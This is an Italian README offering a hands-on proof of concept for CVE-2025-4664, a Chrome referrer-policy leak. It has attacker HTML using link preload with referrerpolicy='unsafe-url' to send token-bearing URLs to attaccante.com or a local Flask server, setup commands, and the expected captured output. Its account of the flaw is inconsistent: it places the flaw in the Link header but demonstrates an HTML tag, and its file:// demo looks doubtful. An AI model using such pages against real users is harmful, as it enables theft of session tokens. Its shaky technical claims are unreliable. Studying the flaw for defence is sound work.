
Demo educativa di CVE-2025-4664, una vulnerabilità del Chrome Loader che consente la fuga di dati cross-origin tramite manipolazione della referrer-policy. Include una pagina HTML vittima e un server Flask dell'attaccante per una simulazione pratica di sfruttamento.
La vulnerabilità CVE-2025-4664 è un difetto di sicurezza ad alta gravità identificato nel componente Loader di Google Chrome, presente nelle versioni precedenti alla 136.0.7103.113. Questo problema consente a un attaccante remoto di filtrare dati di origine incrociata tramite una pagina HTML appositamente predisposta, compromettendo potenzialmente informazioni sensibili come token di sessione o credenziali di autenticazione.
Il difetto risiede in un'implementazione inadeguata delle politiche di sicurezza nel componente Loader di Chrome. Nello specifico, Chrome interpreta la direttiva referrer-policy all'interno dell'intestazione HTTP Link nelle richieste di sotto-risorse (come immagini o script), anche quando altri browser non lo fanno. Un attaccante può sfruttare questo comportamento configurando una politica meno restrittiva, come unsafe-url, causando la fuga di URL complete, inclusi parametri sensibili, verso domini controllati dall'attaccante.
Questa vulnerabilità è stata sfruttata attivamente in ambienti reali, portando l'Agenzia per la Sicurezza Informatica e le Infrastrutture degli Stati Uniti (CISA) a includerla nel suo Catalogo delle Vulnerabilità Note e Sfruttate (KEV). CISA ha fissato al 5 giugno 2025 la scadenza entro la quale le agenzie federali devono applicare le correzioni necessarie.
Google ha rilasciato aggiornamenti per correggere questa vulnerabilità nelle seguenti versioni:
Si raccomanda vivamente a tutti gli utenti di aggiornare il proprio browser Chrome all'ultima versione disponibile. Per verificare e applicare l'aggiornamento:
Inoltre, gli utenti di browser basati su Chromium, come Microsoft Edge, Brave, Opera e Vivaldi, devono prestare attenzione ai relativi aggiornamenti, poiché potrebbero essere influenzati da questa vulnerabilità.
Mantenere il browser aggiornato è essenziale per proteggersi da minacce di sicurezza attive e salvaguardare le informazioni personali.
La vulnerabilità CVE-2025-4664 viene sfruttata manipolando il modo in cui Google Chrome gestisce la politica di referrer (referrer-policy) durante il caricamento di sotto-risorse (come immagini, script, ecc.) da link HTML.
🌐 Creazione di un sito malevolo: L'attaccante crea un sito web che include un link HTML come questo nella sua intestazione HTTP:
<link rel="preload" as="image" href="https://vittima.com/immagine.jpg" referrerpolicy="unsafe-url">
🔧 Manipolazione di referrer-policy:
Nella maggior parte dei browser, questo referrerpolicy nel tag <link> non viene applicato per la risorsa caricata. Tuttavia, Chrome lo applica, e questo è il cuore del problema.
📤 Filtraggio del Referer:
Quando il browser della vittima (Chrome) carica la risorsa da vittima.com, invia l'intera URL del sito di origine come intestazione Referer, che può includere:
🎯 Ricezione sul server dell'attaccante: L'attaccante può impostare come destinazione della risorsa un URL sotto il suo controllo, ad esempio:
<link rel="preload" as="image" href="https://attaccante.com/cattura.jpg" referrerpolicy="unsafe-url">
Quando la vittima accede a questa risorsa, Chrome invia la sua URL completa come Referer al server dell'attaccante.
🕵️ Furto di informazioni: Il server dell'attaccante registra le intestazioni HTTP e ottiene il contenuto completo dell'URL della vittima. Ciò può includere dati sensibili, token di accesso o persino URL di API interne.
https://attaccante.com/pagina-malvagia.html
<link rel="preload" as="image" href="https://vittima.com/profilo?token=ABC123" referrerpolicy="unsafe-url">
Referer: https://vittima.com/profilo?token=ABC123

index.html — File vittimaQuesto file simula la vittima dell'attacco; è una demo HTML semplificata per mostrare come la vulnerabilità CVE-2025-4664 possa essere sfruttata usando un tag malevolo:
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<title>Demo CVE-2025-4664</title>
<!-- Questa risorsa punta a un sito vittima con informazioni sensibili nell'URL -->
<link rel="preload" as="image"
href="https://vittima.com/profilo?token=ABC123"
referrerpolicy="unsafe-url">
</head>
<body>
<h1>Dimostrazione della vulnerabilità CVE-2025-4664</h1>
<p>Se stai usando una versione vulnerabile di Chrome, il browser invierà il <strong>Referer completo</strong> all'URL sopra.</p>
</body>
</html>
<link> è configurato per precaricare un'immagine da vittima.com con un token nell'URL.referrerpolicy="unsafe-url", Chrome invierà l'intera URL della pagina corrente come Referer al dominio vittima.servidor_atacante.py — File attaccanteCon questo script è possibile automatizzare l'attacco per catturare i Referer utilizzando un piccolo server in Python. Ecco un esempio che utilizza Flask per simulare il server dell'attaccante che riceve i dati:
index.html.servidor_atacante.py.pip install flask
python servidor_atacante.py
<link rel="preload" as="image"
href="http://<tua_IP>:8080/cattura.jpg"
referrerpolicy="unsafe-url">
Sostituisci <tua_IP> con l'IP pubblico o locale del server che esegue lo script.
Apri un terminale (PowerShell o CMD).
Naviga nella cartella del file:
cd "C:\Users\Sebas\Desktop\servidor_atacante"
python servidor_atacante.py
* Running on http://127.0.0.1:8080
* Running on http://192.168.1.35:8080
Nella stessa cartella (C:\Users\Sebas\Desktop\servidor_atacante), crea un file chiamato index.html con questo contenuto:
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<title>Demo CVE-2025-4664</title>
<!-- Simula l'attacco -->
<link rel="preload" as="image"
href="http://192.168.1.35:8080/cattura.jpg"
referrerpolicy="unsafe-url">
</head>
<body>
<h1>Simulazione CVE-2025-4664</h1>
<p>Questo HTML tenta di filtrare l'URL completa (incluso il token) all'attaccante.</p>
</body>
</html>
✅ Importante: Assicurati che l'IP (192.168.1.35) corrisponda a quello mostrato da Flask come IP locale. Se è diverso, modificalo nell'HTML.
Apri Chrome.
Nella barra degli indirizzi, scrivi:
file:///C:/[Cartella_destinazione]/servidor_atacante/index.html?token=ABC123
Premi Invio.
📥 Visualizzare il risultato sul server Nella console di Flask dovresti vedere qualcosa come:
[+] Referer ricevuto: file:///C:/[Cartella_destinazione]/servidor_atacante/index.html?token=ABC123
[Cartella_destinazione]: Modifica questo parametro con la cartella in cui hai salvato il file.
🎯 Ciò significa che il browser ha inviato il Referer completo all'attaccante!
Spiegazione elaborata da Sebastian Peinador a scopo didattico e di ricerca in cybersecurity offensiva.
Questo materiale è distribuito sotto licenza MIT.
Se ti è utile, non dimenticare di dare una ⭐ al repo o condividerlo!